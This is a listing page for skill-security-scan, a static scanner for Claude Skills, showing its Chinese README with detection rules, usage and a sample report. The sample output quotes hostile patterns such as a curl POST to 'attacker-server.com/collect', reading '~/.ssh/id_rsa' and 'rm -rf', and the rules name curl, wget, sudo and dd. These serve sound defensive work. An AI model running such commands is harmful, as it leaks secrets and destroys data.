Skip to content
Back to search

skill-security-scan

skill-security-scan is a command-line tool designed to scan and detect security risks in Claude Skills. Before installing third-party Skills, use this tool for security review to effectively prevent malicious code from stealing data or compromising your system.

Safety scan

A static text scan, not a guarantee. Select the badge to see what was scanned and every finding.

Checked today
Badge for your README
findsafeskills safety rating

Markdown

[![findsafeskills safety rating](/api/listings/huifer--skill-security-scan/badge.svg)](/listings/huifer--skill-security-scan)

HTML

<a href="/listings/huifer--skill-security-scan"><img src="/api/listings/huifer--skill-security-scan/badge.svg" alt="findsafeskills safety rating" /></a>

Install

i

Install instructions from the README

As written by the repo's author. findsafeskills has not verified these steps.

# 克隆仓库
git clone https://github.com/huifer/skill-security-scan
cd skill-security-scan

# 安装包(可编辑模式)
pip install -e .

# 或使用 pip 直接安装
pip install skill-security-scan

What was scanned

The files the safety scan read, as written by the repository's author and shown as plain text. Lines with a finding are marked.

README.md · README · 359 lines

View this file on GitHub (read at the repository's current version: the scan did not record which commit it read)

  1. # Skill-Security-Scanner
  2. > 🔍 Claude Skills 安全扫描工具 - 保护你的开发环境
  3. [![Python](https://img.shields.io/badge/Python-3.9+-blue.svg)](https://www.python.org/)
  4. [![License](https://img.shields.io/badge/License-MIT-green.svg)](LICENSE)
  5. [![Version](https://img.shields.io/badge/Version-1.0.0-orange.svg)](https://github.com/huifer/skill-security-scan)
  6. **[English Documentation](README_EN.md)** | **中文文档**
  7. ## 📖 简介
  8. **skill-security-scan** 是一个命令行工具,用于扫描和检测 Claude Skills 的安全风险。在安装第三方 Skills 前,使用此工具进行安全审查,有效防止恶意代码窃取数据或破坏系统。
  9. 本项目由 [WellAlly Technology](https://www.wellally.tech/) 开发者发起并维护,致力于为开发者社区提供安全可靠的工具。
  10. ### ⚠️ 为什么需要 skill-security-scan?
  11. 在本地 Claude Code 中使用 Skills 存在以下安全风险:
  12. 1. **完整文件系统访问** - Skills 可以读取任意文件,包括 SSH 密钥、API 密钥等
  13. 2. **网络访问能力** - Skills 可以向外部服务器发送数据
  14. 3. **脚本执行权限** - Skills 可以执行任意系统命令
  15. 4. **依赖破坏** - Skills 可能修改全局依赖,破坏其他项目
  16. ## ✨ 特性
  17. - 🔍 **全面安全检测** - 网络、文件、命令、代码注入等多维度检测
  18. - 🎯 **智能风险评分** - 自动计算风险分数和等级
  19. - 🎨 **多种输出格式** - HTML 报告(默认)、彩色终端、JSON 报告
  20. - 🌍 **国际化支持** - 支持中文和英文界面
  21. - 📁 **智能路径扫描** - 自动扫描 `.claude/skills/` 目录和当前目录
  22. - ⚙️ **灵活配置** - 自定义规则、白名单管理
  23. - 🚀 **高性能** - 快速扫描大型项目
  24. ## 🚀 快速开始
  25. ### 安装
  26. ```bash
  27. # 克隆仓库
  28. git clone https://github.com/huifer/skill-security-scan
  29. cd skill-security-scan
  30. # 安装包(可编辑模式)
  31. pip install -e .
  32. # 或使用 pip 直接安装
  33. pip install skill-security-scan
  34. ```
  35. ### 基本使用
  36. ```bash
  37. # 扫描当前目录和 .claude/skills/(默认行为)
  38. skill-security-scan scan
  39. # 扫描指定路径(仍会自动包含 .claude/skills/)
  40. skill-security-scan scan /path/to/skill
  41. # 扫描并生成指定名称的 HTML 报告
  42. skill-security-scan scan --output my_report.html
  43. # 生成 JSON 报告
  44. skill-security-scan scan --format json --output report.json
  45. # 仅控制台输出(不生成 HTML 文件)
  46. skill-security-scan scan --format console
  47. # 使用自定义规则
  48. skill-security-scan scan --rules custom-rules.yaml
  49. # 只显示严重问题
  50. skill-security-scan scan --severity CRITICAL
  51. # 使用英文界面
  52. skill-security-scan scan --lang en_US
  53. ```
  54. ## 📋 命令选项
  55. ```bash
  56. skill-security-scan scan [OPTIONS] [PATHS]...
  57. Options:
  58. -r, --recursive 递归扫描子目录
  59. -o, --output FILE 输出报告文件(HTML 默认自动生成文件名)
  60. -f, --format FORMAT 报告格式 [console|json|html](默认: html)
  61. --rules FILE 自定义规则文件
  62. --severity LEVEL 最低显示级别 [CRITICAL|WARNING|INFO](默认: INFO)
  63. --no-color 禁用彩色输出
  64. --fail-on LEVEL 遇到指定级别错误时退出码非0
  65. --lang LANG 界面语言 [zh_CN|en_US](默认: zh_CN)
  66. Arguments:
  67. PATHS 要扫描的路径(可选,默认扫描当前目录和 .claude/skills/)
  68. ```
  69. **说明**:
  70. - 未指定路径时,默认扫描当前目录(`.`)和 `.claude/skills/` 目录
  71. - 指定路径时,仍会自动扫描 `.claude/skills/` 目录(如果存在)
  72. - HTML 格式为默认输出,会自动生成带时间戳的文件名(如 `skill_scan_report_20231229_113252.html`)
  73. - 控制台始终会显示扫描摘要,无论使用何种报告格式
  74. ## 🎯 检测规则
  75. ### 🔴 CRITICAL (严重)
  76. - **NET001**: 外部网络请求到非官方域名
  77. - **FILE001**: 访问敏感文件(SSH 密钥、.env 等)
  78. - **FILE002**: 危险文件操作(rm -rf /, chmod 777)
  79. - **CMD001**: 执行危险系统命令(sudo, dd)
  80. - **INJ001**: 代码注入模式
  81. - **INJ003**: 后门植入
  82. ### 🟡 WARNING (警告)
  83. - **CMD002**: 系统命令调用(os.system, subprocess)
  84. - **INJ002**: 动态代码执行(eval, exec)
  85. - **DEP001**: 全局包安装
  86. - **DEP002**: 强制版本覆盖
  87. ### 🔵 INFO (提示)
  88. - 代码混淆模式
  89. - 隐藏命令
  90. ## 📊 输出示例
  91. ### HTML 报告(默认)
  92. 默认生成美观的 HTML 报告,包含:
  93. - 📊 可视化风险仪表板
  94. - 🔍 可按严重级别筛选的问题列表
  95. - 📈 交互式图表和统计
  96. - 📱 响应式设计,支持移动端查看
  97. - 🌍 中英文界面自动切换
  98. HTML 报告会在浏览器中打开,方便详细审查和分析。
  99. ### 控制台输出
  100. ```
  101. [*] 扫描 Skills:
  102. - /path/to/skill
  103. - .claude\skills
  104. [!] Risk Level: CRITICAL (10.0/10)
  105. [!] CRITICAL 问题 (67 个):
  106. [NET001] in SKILL.md:15
  107. Pattern: curl -X POST https://attacker-server.com/collect
  108. Confidence: 高
  109. [FILE001] in scripts/setup.sh:8
  110. Pattern: cat ~/.ssh/id_rsa
  111. Confidence: 高
  112. [CMD001] in SKILL.md:23
  113. Pattern: rm -rf /tmp/*
  114. Confidence: 中
  115. [*] WARNING 问题 (61 个):
  116. [CMD002] in SKILL.md:46
  117. Pattern: os.system("unknown command")
  118. Confidence: 中
  119. 还有 57 个
  120. [*] 摘要:
  121. Total Files Scanned: 7
  122. Critical Issues: 67
  123. Warning Issues: 61
  124. Info Issues: 0
  125. Total Issues: 128
  126. [*] 建议: 请勿使用 - 检测到严重安全风险
  127. Report saved to: skill_scan_report_20231229_113252.html
  128. ```
  129. ## ⚙️ 配置
  130. ### 规则配置
  131. 编辑 `config/rules.yaml` 来自定义检测规则:
  132. ```yaml
  133. network_rules:
  134. - id: NET001
  135. name: "外部网络请求"
  136. severity: CRITICAL
  137. patterns:
  138. - "curl\\s+.*http"
  139. - "wget\\s+"
  140. description: "检测到向外发送数据的网络请求"
  141. allowed_domains:
  142. - "api.anthropic.com"
  143. - "github.com"
  144. ```
  145. ### 白名单管理
  146. ```bash
  147. # 添加规则到白名单
  148. skill-security-scan whitelist add NET001
  149. # 查看白名单
  150. skill-security-scan whitelist list
  151. # 从白名单移除
  152. skill-security-scan whitelist remove NET001
  153. ```
  154. ## 🧪 测试
  155. ```bash
  156. # 运行测试
  157. pytest tests/
  158. # 运行测试并覆盖
  159. pytest tests/ --cov=src --cov-report=html
  160. ```
  161. ## 📦 打包成可执行文件
  162. 项目可以使用 PyInstaller 打包成独立的可执行文件,无需安装 Python 环境即可运行。
  163. ### 打包步骤
  164. 1. **安装 PyInstaller**
  165. ```bash
  166. pip install pyinstaller
  167. ```
  168. 2. **执行打包命令**
  169. ```bash
  170. # 使用项目中的 spec 文件打包
  171. pyinstaller skill-security-scan.spec --clean
  172. ```
  173. 3. **获取可执行文件**
  174. 打包完成后,可执行文件位于 `dist/skill-security-scan.exe`(Windows)或 `dist/skill-security-scan`(Linux/macOS)。
  175. 文件大小约 10MB,包含了所有必要的依赖和配置文件。
  176. ### 使用可执行文件
  177. ```bash
  178. # 直接运行,无需安装 Python
  179. ./dist/skill-security-scan.exe --help
  180. # 扫描目录
  181. ./dist/skill-security-scan.exe scan /path/to/skill
  182. # 生成报告
  183. ./dist/skill-security-scan.exe scan --output report.html
  184. ```
  185. ### 打包文件说明
  186. - **skill-security-scan.spec** - PyInstaller 配置文件
  187. - 定义了打包入口点为 `standalone_cli.py`
  188. - 包含了 `config/*.yaml` 配置文件
  189. - 包含了整个 `src/` 目录
  190. - 设置了 UTF-8 编码支持,解决 Windows 中文显示问题
  191. - **standalone_cli.py** - 可执行文件入口点
  192. - 处理 PyInstaller 打包后的路径问题
  193. - 使用 `runpy.run_module()` 执行 CLI 模块
  194. - 自动修复 Windows 控制台编码问题
  195. - **dist/skill-security-scan.exe** - 最终可执行文件
  196. - 可独立运行,无需 Python 环境
  197. - 支持所有 CLI 功能
  198. - 可直接复制到其他机器使用
  199. ### 跨平台打包
  200. ```bash
  201. # Windows
  202. pyinstaller skill-security-scan.spec --clean
  203. # Linux/macOS
  204. pyinstaller skill-security-scan.spec --clean
  205. ```
  206. 注意:可执行文件需要在目标操作系统上打包,或使用对应的虚拟环境打包。
  207. ## 📁 项目结构
  208. ```
  209. skill-security-scan/
  210. ├── src/
  211. │ ├── scanner/ # 扫描引擎
  212. │ ├── rules/ # 安全规则
  213. │ ├── reporters/ # 报告生成器(Console, JSON, HTML)
  214. │ ├── i18n/ # 国际化文件(中文、英文)
  215. │ ├── config_loader.py # 配置加载器
  216. │ ├── rules_factory.py # 规则工厂
  217. │ └── cli.py # 命令行接口
  218. ├── config/ # 配置文件
  219. │ ├── rules.yaml # 安全检测规则
  220. │ └── whitelist.yaml # 白名单配置
  221. ├── tests/ # 测试用例
  222. │ ├── skills/ # 测试用 Skills
  223. │ └── test_*.py # 单元测试
  224. ├── examples/ # 示例 Skills
  225. └── docs/ # 文档
  226. ```
  227. ## 🔒 安全性
  228. - ✅ 只进行静态分析,不执行 Skill 代码
  229. - ✅ 输入路径验证,防止路径遍历
  230. - ✅ 资源使用限制(CPU、内存)
  231. - ✅ 规则签名验证
  232. ## 🤝 贡献
  233. 欢迎贡献!请查看 [CONTRIBUTING.md](CONTRIBUTING.md) 了解详情。
  234. 1. Fork 本仓库
  235. 2. 创建特性分支 (`git checkout -b feature/AmazingFeature`)
  236. 3. 提交更改 (`git commit -m 'Add some AmazingFeature'`)
  237. 4. 推送到分支 (`git push origin feature/AmazingFeature`)
  238. 5. 开启 Pull Request
  239. ## 📄 许可证
  240. MIT License - 查看 [LICENSE](LICENSE) 文件了解详情
  241. ## 🙏 致谢
  242. - 感谢所有贡献者
  243. - 感谢 Anthropic 提供 Claude Code 平台
  244. ## 📮 联系方式
  245. - 问题反馈: [GitHub Issues](https://github.com/huifer/skill-security-scan/issues)
  246. - 邮箱: huifer97@163.com
  247. - 网站: https://www.wellally.tech/
  248. ---
  249. **⚠️ 免责声明**: 此工具不能保证 100% 检测所有安全风险。请始终谨慎使用第三方 Skills,并在隔离环境中测试。
  250. ---
  251. ## 📚 相关文档
  252. - [技术论文 (中文)](docs/articles/ZH_SKILL_SECURITY_SCANNER_TECHNICAL_ARTICLE.md) - 系统架构与实现详解
  253. - [Technical Paper (English)](docs/articles/EN_SKILL_SECURITY_SCANNER_TECHNICAL_ARTICLE.md) - Architecture and Implementation
  254. - [安全分析 (中文)](docs/articles/ZH_SKILLS_SECURITY_ANALYSIS.md) - Skills 生态安全风险评估
  255. - [Security Analysis (English)](docs/articles/EN_SKILLS_SECURITY_ANALYSIS.md) - Security Risk Assessment
  256. - [工作流程图](docs/WORKFLOW_DIAGRAMS.md) - 业务执行逻辑详解
  257. ---
  258. **中文文档** | **[English Documentation](README_EN.md)**

Ratings and comments

Sign in to rate this skill.

Sign in

Free to use. If it’s helped, pass it on.